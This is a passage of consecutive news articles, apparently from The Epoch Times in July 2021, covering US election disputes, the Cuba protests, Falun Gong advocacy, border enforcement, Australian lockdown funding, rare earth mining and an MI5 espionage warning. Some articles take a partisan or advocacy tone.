Im confident because its not just them, said Fann. Everybody keeps just counting on them, when actually they are working with a number of other contractors that have experience in audits and in their expertise in their own fields  This is a joint effort.

Former Arizona Secretary of State Ken Bennett, the Senates audit liaison, didnt immediately respond to a request by The Epoch Times for comment.

Zachary Stieber contributed to this report.
Armenian soldiers take their position on the front line in Tavush region, Armenia, on July 14, 2020. (Armenian Defense Ministry Press Service/AP Photo)

Armenian Soldier Killed on Border With Azerbaijan: Defense Ministry

MOSCOWAn Armenian soldier was killed on Wednesday in an exchange of fire on the border between Armenia and Azerbaijan, Armenias defense ministry said.

It said the soldier was killed when Azeri forces fired at Armenian servicemen who had tried to prevent Azerbaijan carrying out fortification works at the border.

Azerbaijans defense ministry said Armenian forces had fired at Azeri positions on Wednesday, and one of its soldiers had been wounded.

Relations are tense between Azerbaijan and Armenia following six weeks of fighting last year in which Azeri troops drove ethnic Armenian forces out of swathes of territory they had long controlled in and around the NagornoKarabakh enclave.

Last years fighting in NagornoKarabakh, which is internationally recognized as part of Azerbaijan, ended in a ceasefire brokered by Russia.

Tensions between Armenia and Azerbaijan, two former Soviet republics, are watched closely abroad for any threat to Azeri gas and oil pipelines and the risk of regional powers Turkey and Russia being dragged into any conflict.

By Maxim Rodionov
(From left to right) Suzi Voyles, president of Eagle Forum of Georgia, State Representative Mesha Mainor, State Senator Kay Kirkpatrick, Steve Sun, executive director of Falun Dafa Association of Atlanta, State Representative Shea Roberts, and Salleigh Grubbs, chairperson of Cobb County Republican Party, pose to cut the ribbon during the opening ceremony of The Art of Zhen Shan Ren International Exhibition held at the James H. 'Sloppy' Floyd Building on July 8, 2021. (The Epoch Times)

Art Exhibit Showing Persecution of Spiritual Group in China Moves Viewers in Atlanta

The Art of Zhen Shan Ren International Exhibition opened in Atlanta on July 8 with a warm welcome from local and state government officials.

The art exhibit was held at the 20-story James H. Sloppy Floyd Building adjacent to the Georgia State Capitol, the central work location for thousands of Georgias state employees. Leaders of local communities and Georgia state legislators attended the opening ceremony and delivered speeches to express their appreciation and support of the event.

Zhen Shan Ren translates to truthfulness, compassion, tolerancethe three main principles of the spiritual meditation practice Falun Gong.

Over 60 realistic oil paintings and Chinese watercolors are on display, depicting the beauty of Falun Gong, as well as raising awareness of the plight of its adherents who face ongoing persecution by the Chinese Communist Party (CCP), including the heinous crime of live organ harvesting, in China.

Speaking to a large group of attendees at the opening ceremony, State Senator Kay Kirkpatrick, the exhibit sponsor and also co-sponsor of a recent state senate resolution condemning organ harvesting atrocities in China, thanked organizers and volunteers for bringing this powerful and important exhibit to the state capital.

A picture is worth a thousand words, and it really makes a huge impact to see [through the] art form whats actually going on, she said.

Visitors attend the opening ceremony of The Art of Zhen Shan Ren International Exhibition at the James H. Sloppy Floyd Building on July 8, 2021. (The Epoch Times)

Falun Gong, also known as Falun Dafa, is an ancient Chinese spiritual practice consisting of simple, slow-moving meditation exercises and moral teachings that incorporate the principles of truthfulness, compassion, and tolerance in everyday life. As it grew in popularity due to its tremendous health benefits during the 1990s, the Chinese Communist Party under Jiang Zemin launched a systematic elimination campaign in July 1999. Since then, millions have been detained inside prisons, labor camps, and other facilities, with hundreds of thousands tortured while incarcerated, according to Falun Dafa Information Center.

Some of the artists whose works are on display at the exhibit have been detained and tortured for their faith. They use Western classical oil painting techniques to convey the universal view of Falun Gong, as well as the persecution, through their own personal experiences.



Professor Zhang Kunlun is one of Chinas most accomplished sculptors, yet the renowned artist became a victim of the persecution when he stood up for his faith. In November 2000, Zhang was sentencedwithout a trialto three years in a labor camp in China. While in detention, he was tortured with electric batons by prison guards and forced to watch propaganda films demonizing Falun Gong, according to Falun Dafa Information Center.

The aim was to force us to give up our faith, and anyone who protested or tried to meditate faced a savage beating, Zhang told The Epoch Times in a 2019 interview. Two policemen shocked me with electric batons at the same time  my skin was burned, my left leg was injured to the point that I couldnt move it, and my clothes were torn in several places. I could smell my flesh burning. The pain was excruciating.

Due to pressure from Canadian lawmakers and the international community, including Amnesty International, Chinese authorities released Zhang after three months.

Zhang currently resides in the United States where he has curated The Art of Zhen Shan Ren exhibit. The exhibition has toured more than 50 countries with over 1,000 shows worldwide since it was launched in 2004.

Cultivators [Falun Gong practitioners] look at issues from a deep perspective and inspiration springs forth like a fountain, Zhang said in a previous interview with The Epoch Times.

As artists, we have a duty to present this magnificent period of human history for the future, he said.

Visitors view paintings from The Art of Zhen Shan Ren International Exhibition at the James H. Sloppy Floyd Building on July 8, 2021. (The Epoch Times)

Ken Clark, one of the attendees at the event, said that it was shocking to see the severity and scope of the persecution. The presentation is extraordinary and obviously depicts something very necessary to bring awareness to what is going on in China  it [the persecution] must be stopped, he said.

Many children of Falun Gong practitioners were left behind due to the persecution. The plight of orphans is portrayed in some of the paintings.

The painting An Orphans Sorrow, shows a little girl who holds what remains of her parentstheir ashes. Her fathers jacket cloaks her small frame and is likely her only protection against the coming winter. Inspired by documented events, the painting draws out what is pure in the childs tormented gaze. The writing on the wall identifies the forced labor camp, where her parents were likely killed. (Courtesy of The Art of Zhen Shan Ren)

As a mother, State Rep. Shea Roberts said she was particularly moved by the painting, An Orphans Sorrow, which portrays a young girl whose parents were persecuted to death. This exhibition is just so truly powerful  everybody needs to see it because the world needs to know about the ongoing persecution by the Chinese Communist Party to people who are just practicing their faith, she said.

One of the special guests urged the public to come to the art exhibition to learn about the perils of communism.

Salleigh Grubbs, the chairperson of the Cobb County Republican Party, said, They need to see the art and understand through this wonderful exhibit that it [communism] is real and it is in the world. America is the last stand for religious freedom, and if they think it cant happen here, theyre deceiving themselves.

The art will be on display through July 22.
Australian Firm Becomes Canadas First Rare Earth Producer

Australian miner Vital Metals has begun rare earth production in Canadas Northwest Territories, becoming the first producer in Canada and the second in North America.

The milestone has strategic significance and comes as democratic nations move to shore up rare earth supply chains independent from China.

The Nechalacho project is expected to yield a minimum of 5,000 metric tons of rare earth by 2025, including bastnaesite. Vital Metals stated that blasting of the mine has already begun.

We will continue to ramp up crushing and ore sorting with full production rates expected to be achieved in July, Geoff Atkins, managing director at Vital Metals, said in an investor update (pdf).

Beneficiated material will be stockpiled for transport to our extraction plant in Saskatoon. We look forward to keeping the market updated throughout the ramp-up process, in what is a very significant milestone for the company and North America.

Rare earth includes 17 metals that are used to create components integral to high-tech products such as fiber-optic cables, smartphones, magnets, electric vehicles, and military equipment.

Former Australian Defence Minister Linda Reynolds once noted that each F-35 Joint Strike Fighter jet requires 417 kilograms of rare earth and critical minerals.

However, the Chinese Communist Party (CCP) is estimated to control more than 63 percent of the worlds rare earth supply chains. For years, minerals mined outside of China would be sent to the Asian nation for processing due to lower costs and available facilities.

There are concerns that a geopolitical dispute could push the CCP to use supply chains as leverage against democratic nations, which has spurred a worldwide push for rare earth sources and the development of processing facilities.

Currently, Australias Lynas is the only large-scale producer of rare earth in the world outside of China and is also the second-largest company processing the minerals. Lynas sources its rare earth from Mount Weld in Western Australia. Its then processed in Malaysia.

Vital Metals has announced that theyre moving forward to secure another rare earth source in Tanzania.
Barr Denies Allegation He Pressured US Attorney Not to Investigate Possible Voter Fraud

Former U.S. Attorney General William Barr is denying the allegation that he pressured a U.S. attorney not to pursue a voter fraud probe.

William McSwain, who was a U.S. attorney in Pennsylvania from 2018 until January, said he wanted to fully investigate fraud allegations in the wake of the 2020 election, but Barr instructed me not to make any public statements or put out any press releases regarding possible election irregularities.

Barr also directed McSwain to pass along serious allegations to the State Attorney General for investigationthe same State Attorney General who had already declared that you could not win, McSwain wrote in a recent letter, referring to Pennsylvania Attorney General Josh Shapiro, a Democrat who has repeatedly posted anti-Trump statements.

Barr, who was then-President Donald Trumps top law enforcement officer for several years, denied the allegations in interviews with several news outlets.

Any suggestion that McSwain was told to stand down from investigating allegations of election fraud is false. Its just false, Barr told The Washington Post.

Barr said McSwains allegation appeared to have been made to mollify President Trump to gain his support for McSwains planned run for governor.

Barr said he heard about the letter before it was published and called McSwain to talk about it. Barr claimed that McSwain conveyed to him that he couldnt win an election if Trump attacked him.

McSwain said on July 13 that he stood by his letter, which was sent to Trump last month and made public this week.

I have a lifetime reputation for honesty that is beyond reproach. If Bill Barr wants to run to WaPo to complain about me telling the truth, thats OK  it doesnt bother me, McSwain wrote in a tweet.

A poll worker talks to a voter before they vote on a paper ballot on Election Day in Atlanta, on Nov. 3, 2020. (Brynn Anderson/AP Photo)

I have more important things to be concerned about than Bill Barrs feelings. Im concerned about the future of PA and of our country. We need change in our politics  badly. And it will come in 2022.

The back-and-forth comes about nine months after Barr, in an interview with The Associated Press in late 2020, said, We have not seen fraud on a scale that could have affected a different outcome in the election.

At the time, Trump and his campaign officials accused Barrs agency of not investigating widespread reports of fraud.

They havent looked very hard, which is a disappointment, to be honest, Trump said.

A Department of Justice spokesperson later sought to clarify what Barr meant when some news outlets claimed he said the department concluded a fraud probe and found no fraud in the election.

That is not what The Associated Press reported nor what the Attorney General stated, the spokesperson said. The Department will continue to receive and vigorously pursue all specific and credible allegations of fraud as expeditiously as possible.

The DOJ declined to answer questions about fraud investigations. President Joe Biden this week called the 2020 election the most examined in history, and criticized Republicans in swing states for their efforts to change voting laws, which the GOP says will strengthen election integrity. Democrats claim such changes would make voting harder.
Beg for Every Scrap: Victorian Government Accuses PM of Double Standards

The Victorian state government has accused Prime Minister Scott Morrison of having double standards in a strong statement made shortly after the announcement of the federal COVID-19 financial support package.

Under a joint federal and state support package, the disaster COVID-19 payment was increased by $50-$100 per week for people in New South Wales, depending on the number of hours lost cause by lockdowns.

Everyone in Australia believes people in Sydney and NSW deserve every possible support as they battle a second wave and a long lockdown, a Victorian government spokesman reportedly said. But Victorians are rightly sick and tired of having to beg for every scrap of support from the federal government.

The spokesman added that their government felt it had to resort to shaming the federal government into providing income support during the lockdown last month.

It shouldnt take a crisis in Sydney for the Prime Minister to take action, but we are seeing the same double standard time and time again, the spokesman said. His job is not to be the Prime Minister for NSW.

Treasurer Josh Frydenberg denied Victorias accusation that New South Wales was getting more than Victoria and said its government was playing politics and being petulant and childish.

The facts tell a very clear storywhat we offered NSW for the first two weeks of the lockdown is exactly what Victoria received, Frydenberg told ABC radio.

Treasurer Josh Frydenberg during a televised live cross at Parliament House on March 16, 2021, in Canberra, Australia. (Sam Mooy/Getty Images)

He said when Victoria went into an extended lockdown last year, the state received more financial support per capita under JobKeeper compared to what NSW will be getting.

NSW is going through an extended lockdown, and were now going into its fourth week  Victorias lockdown [from May] went for two weeks, and so the actual support is of a different nature, Frydenberg said.

It was also pointed out that Victoria had rejected the federal offer to share the cost of the financial support package in a 50-50 split, something that NSW had agreed to do.

The prime minister also dismissed the accusations saying the federal government had provided the state three-quarters of a billion dollars in support for months on end without request during its extended lockdown last year.

NSW is now going into week four of a lockdown, and that means the challenges are escalating, Morrison told Nine. What I announced yesterday is exactly what every other state and territory would get in a week four of a lockdown.

However, the Victorian spokesman said NSW would have received support faster if the federal government had worked on a framework during their two-week lockdown.

If they had bothered to think about this at the time and work with Victoria, theyd already have had a practical framework in place when NSW went into lockdown, and more people would have got the support they need earlier, the spokesman said.
Cuban exiles rally at Versailles Restaurant in Miami's Little Havana neighbourhood in support of protesters in Cuba, on July 12, 2021. The protests in Cuba marked some of the biggest displays of anti-government sentiment in the tightly controlled communist country in years. (AP Photo/Marta Lavandier)

Beginning of the End: Activists Are Hopeful for Cuba Amid Massive Democracy Protest

Activists from the Cuban-Canadian community are concerned about more bloodshed following widespread protests that erupted in Cuba on July 11, but they remain hopeful as Cubans continue to call for freedom and democracy.

Nelson Taylor Sol, activist and board member of the Cuban Canadian Foundation, said he has mixed emotions about the protests in multiple cities across the communist-ruled Caribbean country, where thousands took to the streets to call for an end to the decades-old repressive regime against the backdrop of a deteriorating economy.

Im hopeful  because I know that the protesters are still there, but at the same time very concerned because the only way to get rid of a regime like the Cuban regime  is by concerted effort from the international community, Taylor Sol told The Epoch Times.

On July 11, thousands of Cubans rallied demanding freedom, with protesters chanting in Spanish that they werent afraid of the communist regime led by President Miguel Diaz-Canel.

Taylor Sol said he is saddened to see the defenceless people in Cuba up against the highly trained, heavily armed police special troopers.

They have nothing, but at the same time they are fed up. They are fed up and they are encouraged by the support of the Cuban community outside, and thats why its so important for the world to speak up and not to abandon these people, he said.

There is going to be huge bloodshed unless the international community intervenes, he said. Nobody will know exactly how many people will die because [Cuban government officials] are controlling the information right now.

Michael Lima Cuadra, a human rights activist and researcher and the founder of a project called Democratic Spaces, said the July 11 peaceful demonstrations represent the largest protest in the country since the 1959 Cuban Revolution, the armed revolt that led to communist leader Fidel Castros rule over Cuba until 2008. It is also larger than the Maleconazo uprising against government policies in Cuba in August 1994 in terms of dimension and the number of participants.

The root of the issue in Cuba is the Communist Party, the policies of the Communist Party, and the lack of willingness of the regime to introduce democratic change to allow people to have a voice in government, Lima Cuadra told The Epoch Times.

He said the protest was a historic moment for Cuba, with the Cuban people finally speaking up after 62 years of living under the communist regime, and now with a new generation ready to [reclaim] their human rights, claiming the rights of Cubans to live in a democratic society.

Cuba is entering a historic moment of radical transformation. I think this is the beginning of the end, Lima Cuadra said, likening it to the late 1980s for the people of Eastern Europe in their fight against Soviet communism.

U.S. Sen. Marco Rubio, a Republican from Florida, warned in a statement on July 11 that the Cuban government would block internet & cell phone service soon to prevent videos about what is happening to get out to the world.

Meanwhile, the Movimiento San Isidro, an activist group in Cuba, has published a list of over 100 people who are believed to have been detained or have gone missing following the demonstration.

Taylor Sol said the protests were triggered by a combination of factors, but it is clear that people are asking for freedom.

He noted that many media outlets, however, are either silent or theyre distorting the reality by attributing the primary cause of the protests to frustration over the COVID-19 pandemic.

They keep saying that this is due to COVID, and its insulting because they show the images of the people asking for freedom, of course in Spanish, Taylor Sol said.

He also criticized Global Affairs Canada for releasing a mixture of conflicting statements that first supports the freedom of expression, then jumped to talk about support for COVID-19 reliefs efforts.

In an email statement, Global Affairs told The Epoch Times that it is very concerned by recent events, and that Canada is closely monitoring the situation in Cuba.

Canada strongly advocates for freedom of expression, freedom of movement, and the right to peaceful protest, the statement said. Canada will always support the right to exercise fundamental human rights free from intimidation, throughout the world.

It pointed to a comment by Prime Minister Justin Trudeau during a press conference on July 13, where he was asked if he would condemn the Cuban regimes crackdown on protesters, including mass arrests and shutting down the internet.

Canada has always stood in friendship with the Cuban people. We have always called for greater freedoms and more defence of human rights in Cuba. We will continue to be there, to support Cubans in their desire for greater peace, greater stability, Trudeau answered.

Taylor Sol said Cuban-Canadians are planning demonstrations in different cities across Canada and are looking for allies who had suffered under communism, including descendants from Ukraine, Russia, Hungary, and other countries in the former Eastern Bloc.

Lima Cuadra said, I would hope, as a Cuban-Canadian, that the government of Canada rises up to the occasion and supports democracy defendersnot take neutral approaches, but be bold in their defence for democracy and condemnation for the repression in Cuba.
Rep. Scott Perry (R-Pa.) speaks as U.S. Secretary of State Antony Blinken testifies before the House Committee On Foreign Affairs in Washington on March 10, 2021. (Ting Shen-Pool/Getty Images)

Beijing Needs to Be Pressured to Stop Falun Gong Persecution, Congressman Says

There should be greater global awareness about the two-decade-long persecution of Falun Gong practitioners in China, a U.S. congressman has said.

In an interview, Rep. Scott Perry (R-Pa.) also pointed to how practitioners in China have been targeted by the state for forced organ harvesting, which is as horrific as you can imagine that it would be.

Action, he said, needs to be taken to stop the persecution.

So, I think that both the administration itself and Congress has a great role to play and a lot can be done. And theres no time to waste, Perry said July 13 in an interview with The Epoch Times sister company NTD.

[As] every single day goes by more people are being tortured and its emboldening the Communist Party to just continue to do the things that it has done in the past, without any accountability, he said.

Falun Gong, also known as Falun Dafa, is a spiritual discipline involving five meditative exercises and a set of moral teachings based on the principles of truthfulness, compassion, and tolerance. The discipline was popular in China during the 1990s, with an estimated 70 to 100 million adherents before the ruling regime in Beijing launched its persecution in July 1999.

Falun Gong practitioners hold memorial pictures at Capitol Hill in Washington, on July 17, 2014. (Jim Watson/AFP/Getty Images)

Since then, millions of practitioners have been detained inside prisons, labor camps, and other facilities, with hundreds of thousands tortured while incarcerated, according to the Falun Dafa Information Center.

An untold number of Falun Gong adherents have died from having their organs forcibly removed, with their vital body parts then being sold in Chinas transplant market. The communist regimes forced organ harvesting has drawn condemnation from U.S. federal and state lawmakers. For instance, the Texas Senate adopted a resolution in June describing the practice as murder.

This year, July 20 will mark the 22nd anniversary of the beginning of the Chinese Communist Partys (CCP) persecution against Falun Gong adherents in China.

Perry, calling the Chinese regime a totalitarian criminal organization, said the United States could take a number of actions to compel the Chinese regime to end its human rights violations, including those against Falun Gong, Uyghurs, and Tibetans.

These actions included slapping U.S. sanctions against Chinese communist party officials, removing Chinese diplomats from the United States, or denying China access to U.S. financial markets, according to Perry.

We have to say that there are consequences. Theres going to be pain, theres going to be economic pain, diplomatic pain, there is going to be a reputational consequence. These are all things that we can do and should do immediately, Perry said.

Rep. Scott Perry (R-Pa.) speaks at a panel titled The Present Danger: China at the Conservative Political Action Conference (CPAC) in National Harbor, Md., on Feb. 27, 2020. (Samira Bouaou/The Epoch Times)

On May 12, the U.S. State Department imposed sanctions on a Chinese official named Yu Hui, the former director of a Chinese agency specifically tasked with persecuting Falun Gong. Yu was the second Chinese official to be sanctioned following similar U.S. sanctions against a Chinese regional police chief in December last year.

Perry said that other countries should also take similar actions, thus isolating the Communist Party of China and having them make a choice.

Whats equally important, Perry said, was that individuals could also contribute to raising awareness about the persecution against Falun Gong.

We can all take individual actions by speaking out about these things, and informing neighbors, friends, colleagues, business associates, so on and so forth, he said.
Biden Administration Warns Cubans, Haitians Against Sailing to US: Do Not Risk Your Life

Cubans and Haitians shouldnt try to use boats to migrate to the United States, a top Biden administration official said on July 13.

The time is never right to attempt migration by sea. To those who risk their lives doing so, this risk is not worth taking. Allow me to be clear: If you take to the sea, you will not come to the United States, Homeland Security Secretary Alejandro Mayorkas, a Cuban native, told a press conference in Washington.

Again, I repeat: Do not risk your life attempting to enter the United States illegally. You will not come to the United States.

Protests have begun in recent days against the ruling regimes of Cuba and Haiti.

U.S. officials have said they support the Cuban and Haitian people but that this doesnt include welcoming them to America, Mayorkas said.

We are acting in furtherance of our humanitarian obligations to people around the world, and the humanitarian message to the people of Cuba is, do not take to the seas. People die when they try to migrate in the maritime channel, regularly, he said.

Twenty people have died in recent weeks as a result of maritime attempts to migrate to the United States.

Coast Guard ships continually patrol the Florida Straits and the Caribbean Sea, and the Guard has recently deployed air assets to survey the seas for approaching vessels. The Guards Rear Adm. Eric Jones offered a similar warning on July 11, saying officials are monitoring any activity that may indicate increases in unsafe and illegal maritime migration, including from Cuba.

Mayorkas briefly touched on his personal historyhis family fled from the communist Cuban regime in the 1960sbut urged Cubans now not to make the same move.

However, if they present a fear of persecution or torture thats deemed legitimate, theyll be resettled in third countries, he said.

Cuban protesters march in Havana, Cuba, on July 11, 2021. (Eliana Aponte/The Associated Press)

So far, no surge in attempted migration either by land or sea of Cubans or Haitians has been seen, officials said. U.S. officers say theyre prepared to deal with a surge if it happens.

The United States designated Haiti for Temporary Protected Status in May for 18 months, but that doesnt apply to Haitians who werent in the United States at that time. On July 13, the administration said it will send experts from the Transportation Security Administration and the Cybersecurity and Infrastructure Security Agency to assist Haiti in the aftermath of a presidential assassination, as well as provide funds to counter gangs and prepare for elections.

The Biden administration has tried to convince would-be migrants from other countries to stay home as the United States deals with an explosion in the number of illegal immigrants crossing the southern border.

I want to be clear to folks in this region who are thinking about making that dangerous trek to the United StatesMexico border: Do not come. Do not come, Vice President Kamala Harris said in June.

But critics say the messaging is undermined by the administrations policies, which are dramatically changed from the Trump era and allow more illegal immigrants to stay in the United States both in the short and long term.

Sen. John Cornyn (R-Texas) said Mayorkass remarks were comical, as long as there are no consequences for entering the United States illegally.

And Harris suggested that Cubans would be able to stay in the United States.

We will always be committed to being a safe haven for those who are fleeing harm, she said.
Former Sen. Jeff Flake (R-Ariz.) arrives for the inauguration of President-elect Joe Biden during the 59th Presidential Inauguration at the U.S. Capitol in Washington on Jan. 20, 2021. (Andrew Harnik/AP Photo)

Biden Names Jeff Flake as Ambassador to Turkey

President Joe Biden will nominate former GOP Sen. Jeff Flake as his ambassador to Turkey, choosing a Republican to lead one of the U.S. most important and delicate foreign relationships.

Flake, who served as a Arizona senator from 2013 to 2019 and vocally supported Biden over former President Donald Trump, said he was honored and humbled in a statement.

Given the strategic importance of the United States relationship with our long-time NATO Ally, the Republic of Turkey, I am honored and humbled by the trust President Biden has placed in me with this ambassadorial nomination, Flake said. This is a pivotal post at an important time for both of our countries.

Flake, a former member of the Senate Foreign Relations Committee, is not the only Republican Biden has named to a post abroad. He named Cindy McCain, the widow of the late Arizona Sen. John McCain, to be the U.S. representative to the United Nations Agencies for Food and Agriculture, which holds the rank of ambassador, in June.

U.S.-Turkey relations have grown more contentious in the past seven years under Turkish President Recep Tayyip Erdogans leadership. He has imposed strict crackdowns and engaged in violent offensives in the Middle East since a coup failed to oust him in 2016.

He criticized the U.S. after it formally recognized the Armenian Genocide in April, and threatened to recognize its actions against Native Americans a genocide as well.

Erdogan has also brought Turkey closer to Russia and its autocratic president, Vladimir Putin, even buying a missile defense system from them in 2019 over U.S. objections. The U.S. sanctioned the country a year later in response.

By Andrew Trunsky

From The Daily Caller News Foundation
Biden Rips GOP Election Integrity Laws, Claims Theyre Racially Discriminatory

President Joe Biden on July 13 disparaged laws and proposals that proponents say are aimed at strengthening election security, claiming theyre racially discriminatory.

Biden said the election reform bill signed by Georgias governor was a vicious anti-voting law and claimed Texas Republicans are proposing to allow partisan poll watchers to intimidate voters and imperil impartial poll workers.

This year alone, 17 states have enactednot just proposed, but enacted28 new laws to make it harder for Americans to vote, not to mentionand catch thisnearly 400 additional bills Republican members of the state legislatures are trying to pass, Biden said.

The 21st century Jim Crow assault is real. Its unrelenting, and were going to challenge it vigorously.

As auditors in Arizonas largest county near the end of their work, and shortly after Pennsylvania lawmakers initiated a forensic investigation of the 2020 election in three counties, Biden noted that multiple states have already completed recounts, as well as certain types of audits. He said it wasnt hyperbole to declare that the election was the most examined in the nations history.

Biden said solutions to challenges to the vote include legislationBiden vowed to sign the For the People Act and the John Lewis Voting Rights Advancement Act if Congress passes themand the hammer of the Department of Justice, which is focusing on making sure voters have access to the polls, scrutinizing audits, and taking legal action such as suing over the new Georgia law.

Weve got to shore up our election system and address the threats of election subversion, not just from abroadwhich I spent time with [Russian President Vladimir Putin talking about]but from home, he said.

The president was speaking from the National Constitution Center in Philadelphia.

A voter, right, shows his identification to a Harris County election clerk before voting in Houston, Texas, on July 14, 2020. (David J. Phillip/AP Photo)

Democrats largely oppose any further examination of the 2020 election. Many oppose virtually any election security measures, such as requiring identification, even though some of those measures enjoy broad support from the American public.

Biden and other Democrats have promoted false information about the Georgia law and other election reform proposals. The Georgia law implemented reforms such as limiting the number of drop boxes in a county and requiring that they be placed inside buildings and continually monitored. It also expands early voting and continues to allow no-excuse mail-in voting.

Georgia Gov. Brian Kemp, a Republican, responded to Bidens speech by alleging it was part of the presidents continued assault on election integrity and common-sense measures supported by a wide majority of Americans.

Texas Rep. Lacey Hull, a Republican, said on July 14 that the bill being protested by Democrats does not harm voting.

This bill will make it easy to vote and hard to cheat, she said on Fox & Friends.

Texas Democrats fled the state to try to prevent the measures approval. They could face arrest for doing so.

Biden backed the play, and Vice President Kamala Harris plans to meet with the legislators this week, White House deputy press secretary Karine Jean-Pierre told reporters on Air Force One as the president flew to Pennsylvania.

Former President Donald Trump accused Biden of rushing to Pennsylvania to stop the election investigation that state Sen. Doug Mastriano, a Republican, triggered earlier this month.

Why are they so concerned that a President, who never goes anywhere, would hop onto beautiful Air Force One and head to Philadelphia if it were an honest election? Trump said in a statement. Why not let the audit go forward and make everybody, on both sides, happy?
Birdwatchers Spot Rare Green Broadbill Bird Declared Extinct 70 Years Ago in Singapore

The reappearance of a rare bright-green-feathered bird has rustled up excitement among birdwatchers in Singapore.

The green broadbilldeclared extinct in Singapore 70 years agowas sighted on the isle of Pulau Ubin, northwest of the republic, on June 27, Mr. Lim Liang Jim of the National Parks Board in Singapore said, as quoted by The Straits Times.

For a few fortunate birders, seeing the green broadbill was a lifera rare sighting of a new species.

Local birdwatcher Adrian Silas Tay was among the very first to spot and photograph the vivid green bird, and she posted pictures on Facebook, letting local enthusiasts know whos back in town. Lee Chin Pong was lucky enough to capture the feathered friend on video, posting it on Singapore Birders group.

The green broadbill once populated Pulau Ubin, according to the Singapore Birds Project, but theyve been hardly seen in Singapore since 1941. Although declared extinct in Singapore over a half-a-century ago, the bird has made a number of reappearances on the island city-state over the past decade.

On April 11, an adult male green broadbill appeared on Pulau Ubin. Seven years earlier, in 2014, two juvenile green broadbills were sightedone on Pulau Ubin, the other in East Coast Park, according to the National Parks Board.

The June 27 specimen is likely a male, judging by its coloration and markings. Males are distinct for their emerald-green plumage, dark comma-shaped markings behind the eyes, and bars of dark color on their wings. Females look similar to males, except theyre duller in color and have no markings.

Its likely the male bird is just a visitor from out of townprobably from Malaysia. The species is considered a long-distance disperser, according to Singapore Birds Project, and known to populate the Thai-Malay Peninsula, Sumatra, and Borneo.

Given the proximity of Ubin to Malaysia, it is possible that some of the rare bird species seen there, including the Green Broadbill has dispersed from its habitat in Malaysia into Ubin, said Yong Ding Li, from Birdlife International, local outlet Mothership reported.

Visitor or otherwise, the return of the green broadbilllisted as Near Threatened by the IUCNgot lavish attention from bird lovers near and far.

Share your stories with us at emg.inspired@epochtimes.com, and continue to get your daily dose of inspiration by signing up for the Epoch Inspired Newsletter at TheEpochTimes.com/newsletter
A group of illegal immigrants is processed by Border Patrol after crossing the U.S.-Mexico border in La Joya, Texas, on April 10, 2021. (Charlotte Cuthbertson/The Epoch Times)

Border Agent Says CBP Data Dont Reflect Extent of Fake Family Problem

Adults bringing unrelated children across the United States border illegally to facilitate a quick release became a huge problem in 2019 during the last border surge.

Border Patrol identified 5,800 fake families during an eight-week period covering the height of the 2019 crisis, according to congressional testimony from then-Acting Customs and Border Protection Commissioner Mark Morgan. Stories were rife of smugglers renting children to adults, and adults buying or borrowing children from parents.

This year, official data suggest that the problem has largely vanished.

Border Patrol agents have identified almost 70 cases of fraudulent family claims during the first eight months of this fiscal yearless than 2 percent of the number of 2019 cases, Customs and Border Protection (CBP) told The Epoch Times.

During the same eight-month period, agents apprehended 189,185 individuals within a family unit crossing the U.S.Mexico border illegally, according to CBP statistics.

A Border Patrol agent who works in one of the busiest sectors along the border told The Epoch Times: I can tell you that 70 [cases]we probably get that easily in a few days.

The agent, Carlos (not his real name), spoke to The Epoch Times on condition of anonymity, for fear of repercussions.

Carlos said the border facilities have often been so overwhelmed that the agents dont have time to investigate possible fraudulent families, or theyre told not to pursue it.

He said that if an agent suspects a fraudulent family, the agent might be told by a supervisor, No, we need to move the bodies out of here. Let it go.

And thats how itll go. Its not really pursued, he said.

A CBP spokesperson said the agency relies on border agents to observe potential fake families and then conduct a further review, as well as check identification against data systems and sometimes with consular offices.

CBP also conducts interviews to identify adults who fraudulently are claiming to be the parent of a minor child, the spokesperson told The Epoch Times via email.

CBP may also look for evidence that the same child has been encountered on multiple occasions with different adults or claimed family members.

The agency refers suspected fraudulent families to ICE Homeland Security Investigations for further investigation and prosecution, the spokesperson said.

The rapid DNA testing used in 2019 to help ferret out fake families isnt currently being utilized along the border. By law, children under 14 years old arent fingerprinted, and a photo is only taken if theyre part of a family unit.

In 2019, around 400 Homeland Security Investigations agents were sent to El Paso and the Rio Grande Valley in Texas to clamp down on the fake family phenomenon.

Those resources arent down at the border now, Morgan said.

So unless they do what we did in 2019 and flood the southwest border with more ICE agents to conduct more investigations, I think youre going to have a lot of fake families go undetected, he told The Epoch Times on July 13.

Former Customs and Border Protection Acting Commissioner Mark Morgan at a press conference in Anzalduas Park in Mission, Texas, on March 30. 2021. (Charlotte Cuthbertson/The Epoch Times)

Upcoming Changes

Morgan predicts that once the Title 42 public health emergency restrictions are lifted, which are still being used in some border areas to turn back some families, the number of unaccompanied minors will decrease and the number of families will increase even further.

The Biden administration dropped the Title 42 requirement for unaccompanied minors in February and immediately the numbers spiked, with subsequent months hitting record numbers.

So we still have families that are coming up to the border, sending their kid across first [as an unaccompanied minor], and then theyre going as a single adultbecause their chances of getting across now are high, Morgan said.

Family units with children under 7 years of age are also exempt from the Title 42 restrictions and are quickly released into the United States with a court date or a notice to report to a local ICE office.

Carlos said hes noticing a recent uptick in women bringing three to five children across the border.

The amount of kids that the individual female is bringing across is through the roof. Ive never seen it, he said.

Before, everyone came with one kid. Now, the family units that Im seeing are ridiculous. One lady with four kids, one lady with five kids.

Carlos said theres no doubt women are bringing children over for other parents who are already in the country.

One hundred percentwe see them every day, he said. When they say theyre coming to the United States, theyre given extra kids to bring, and here are the addresses to deliver them.

Title 42 is in place until July 21, when the Biden administration will either renew or rescind it.

Border regions are bracing for a fresh influx as soon as its revoked, as all illegal crossers will need to be processed under Title 8, which is a much lengthier process and will require ICE for the detention and removal of single adults.
Britains MI5 Spy Chief Says: Beware of Russian and Chinese Agents

LONDONBritains top domestic spymaster cautioned the population on Wednesday to treat the threat of spying from Russia and China as vigilantly as terrorism, warning that foreign spies were seeking to steal technology, sow discord, and attack infrastructure.

The 9/11 attacks on the United States almost 20 years ago made tackling terrorism the biggest priority for Western intelligence agencies, with vast resources focused on the threat from home-grown and foreign-based militants.

But the growing assertiveness of post-Soviet Russia and the rise of China has forced the Wests most powerful spymasters to return their focus to old-fashioned counter intelligence, or spies tackling other spies in a constant cat-and-mouse game.

Security Service (MI5) Director General Ken McCallum said that British intelligence had clocked 10,000 disguised approaches by foreign spies seeking to manipulate ordinary people in Britain.

The consequences of spying by foreign powers can range from frustration and inconvenience, through loss of livelihood, potentially up to loss of life, McCallum will say in a speech at Thames House, MI5s London headquarters.

We must, over time, build the same public awareness and resilience to state threats that we have done over the years on terrorism, he said in excerpts of his speech released by MI5.

You dont have to be scared; but be switched on.

